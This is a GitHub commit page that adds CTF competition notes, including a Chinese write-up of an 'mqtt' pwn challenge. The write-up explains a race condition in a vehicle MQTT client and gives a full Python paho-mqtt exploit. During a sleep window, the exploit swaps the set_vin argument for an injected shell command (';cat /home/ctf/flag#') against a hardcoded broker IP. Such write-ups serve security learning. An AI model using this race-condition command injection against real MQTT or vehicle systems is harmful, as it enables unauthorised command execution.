Skip to content

Commit 90430ce

Browse files
committed
ciscnxccb2025: add final day 1
1 parent a3e193a commit 90430ce

File tree

3 files changed

+102
-0
lines changed

3 files changed

+102
-0
lines changed

ciscnxccb2025/README.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,3 +18,19 @@
1818
我们队上半场awdp排名22,下半场渗透排名12,最终排名14,成功进军长城杯和国赛的决赛。
1919

2020
[半决赛博客](https://rocketma.dev/2025/03/19/semifinal/)
21+
22+
## 长城杯决赛
23+
24+
经典爆0了,最后排名28,保底三等奖了。protobuf忘记准备了,明明之前刚遇到过,
25+
甚至我都已经star了解析message结构体的仓库了,结果忘记了,这下吃一堑吃一堑了
26+
27+
1. orw
28+
2. interpreter
29+
3. tiny_console
30+
4. ccb-dev
31+
32+
## 国赛决赛
33+
34+
第一天只做了一个`easy_can``mqtt`那里就是没想到有个条件竞争,这么简单的题,太遗憾了
35+
36+
1. [mqtt](final.mqtt.md)

ciscnxccb2025/assets/sleep2.png

53.6 KB
Loading

ciscnxccb2025/final.mqtt.md

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
# mqtt
2+
3+
> 某车企新来的实习生想要给汽车上的MQTT客户端加强一下性能,却没想到弄巧成拙,
4+
> 你能试着攻破客户端吗?
5+
6+
## 文件属性
7+
8+
|属性 ||
9+
|------|------|
10+
|Arch |amd64 |
11+
|RELRO |Full |
12+
|Canary|on |
13+
|NX |on |
14+
|PIE |on |
15+
|strip |yes |
16+
17+
## 解题思路
18+
19+
第一次做mqtt的题,一开始依赖都没有,还好国赛有上网区,趁10分钟的机会把依赖下一下。
20+
21+
题目附件中并没有给出broker的信息,因此broker大概不是考点,
22+
我们可以直接借助`python-paho`这样的库来操作题目。
23+
24+
> [!IMPORTANT]
25+
> 在做题之前,首先要知道mqtt的工作原理,mqtt中存在中心代理broker,负责接受并广播消息,
26+
> 客户端使用subscribe来“监听”某个指定的主题,然后使用publish将消息广播到所有订阅了该主题的客户端上。
27+
> 对于这道题,我们不需要也不能和目标二进制直接建立连接,只能用mqtt机制去打。
28+
29+
虽然剥了符号,但是并不难,整体逆向量很小,唯一需要注意的代码就在这里:
30+
31+
<img src="assets/sleep2.png" width="80%">
32+
33+
在处理每条消息的时候,都会开一条新的线程,这意味着存在着临界资源;
34+
在处理`set_vin`指令时,check后等待了2秒再继续运行命令,这意味着临界资源能被其他线程修改;
35+
在check和运行命令时都从全局变量中获取内容,没有先复制到栈上;
36+
摆明了就是条件竞争,先运行正确的`set_vin`指令,然后在sleep过程中,
37+
再publish一条消息把`arg`修改掉,就可以成功注入命令了。
38+
39+
我就说怎么这么多人做出来呢,原来是这么简单的条件竞争,还是条件竞争做少了,
40+
下次要有看到sleep就想到条件竞争的敏锐感。
41+
42+
## EXPLOIT
43+
44+
```python
45+
import paho.mqtt.client as mqtt
46+
import time
47+
from json import dumps
48+
49+
broker = '39.96.190.95'
50+
client_id = "python_client"
51+
vin = 'XDGV56EK1R8B3W42B'
52+
hashn = 0
53+
for ch in vin:
54+
hashn = hashn * 0x1f + ord(ch)
55+
auth = hex(hashn)[-8:]
56+
57+
def on_connect(client, userdata, flags, rc):
58+
print(f"Connected with result code {rc}")
59+
client.subscribe("diag")
60+
61+
def on_message(client, userdata, msg):
62+
print(f"{msg.topic}: {msg.payload.decode()}")
63+
64+
client = mqtt.Client(client_id)
65+
client.on_connect = on_connect
66+
client.on_message = on_message
67+
client.connect(broker, 36985, 60)
68+
cmd = {
69+
'auth': auth,
70+
'cmd': 'set_vin',
71+
'arg': '123456789',
72+
}
73+
client.loop_start()
74+
client.publish('diag', dumps(cmd))
75+
time.sleep(0.5)
76+
cmd['arg'] = ';cat /home/ctf/flag#'
77+
client.publish('diag', dumps(cmd))
78+
client.subscribe('diag/resp')
79+
try:
80+
while True:
81+
time.sleep(0.5)
82+
except KeyboardInterrupt:
83+
pass
84+
client.loop_stop()
85+
client.disconnect()
86+
```

0 commit comments

Comments
 (0)